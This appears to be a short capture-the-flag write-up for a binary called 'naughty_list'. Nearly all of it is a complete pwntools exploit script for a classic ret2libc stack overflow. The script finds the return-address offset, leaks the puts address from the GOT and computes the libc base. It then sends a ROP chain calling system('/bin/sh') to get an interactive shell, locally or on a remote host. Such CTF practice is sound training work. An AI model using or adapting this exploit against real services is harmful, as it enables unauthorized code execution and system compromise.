Classic ret2libc buffer overflow; leak libc function, calculate offset to system('/bin/sh'). Walkthrough to follow: https://www.youtube.com/watch?v=3GGpyEkt8GE&t=916s
```pyfrom pwn import *
def start(argv=[], *a, **kw):    if args.GDB:  # Set GDBscript below        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)    elif args.REMOTE:  # ('server', 'port')        return remote(sys.argv[1], sys.argv[2], *a, **kw)    else:  # Run locally        return process([exe] + argv, *a, **kw)
def find_ip(payload):    # Launch process and send payload    p = process(exe)    p.sendlineafter(b':', b'crypto')    p.sendlineafter(b':', b'cat')    p.sendlineafter(b':', b'18')    p.sendlineafter(b':', payload)    # Wait for the process to crash    p.wait()    # Print out the address of EIP/RIP at the time of crashing    # ip_offset = cyclic_find(p.corefile.pc)  # x86    ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64    info('located EIP/RIP offset at {a}'.format(a=ip_offset))    return ip_offset
# Specify your GDB script here for debugginggdbscript = '''init-pwndbgbreak maincontinue'''.format(**locals())
# Set up pwntools for the correct architectureexe = './naughty_list'# This will automatically get context arch, bits, os etcelf = context.binary = ELF(exe, checksec=False)# Enable verbose logging so we can see exactly what is being sent (info/debug)context.log_level = 'info'
# ===========================================================#                    EXPLOIT GOES HERE# ===========================================================
# Lib-C library# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  # Locallibc = ELF('libc.so.6')  # Remote
# Pass in pattern_size, get back EIP/RIP offsetoffset = find_ip(cyclic(1000))
ret = 0x400756
# Start programio = start()
io.sendlineafter(b':', b'crypto')io.sendlineafter(b':', b'cat')io.sendlineafter(b':', b'18')
# Create a ROP object to handle complexitiesrop = ROP(elf)
# Payload to leak libc functionrop.puts(elf.got.puts)rop.get_descr()
# Send the payloadio.sendlineafter(':', flat({offset: rop.chain()}))
io.recvlines(6)  # Receive up to leaked address
# Retrieve got.puts addressgot_puts = unpack(io.recvline()[:6].ljust(8, b"\x00"))info("leaked got_puts: %#x", got_puts)
# Subtract puts offset to get libc baselibc.address = got_puts - libc.symbols.putsinfo("libc_base: %#x", libc.address)
# Reset ROP object with libc binaryrop = ROP(libc)
# Call ROP system, passing location of "/bin/sh" stringrop.system(next(libc.search(b'/bin/sh\x00')))
# Send the payloadio.sendline(flat({offset: [ret, rop.chain()]}))
# Got Shell?io.interactive()```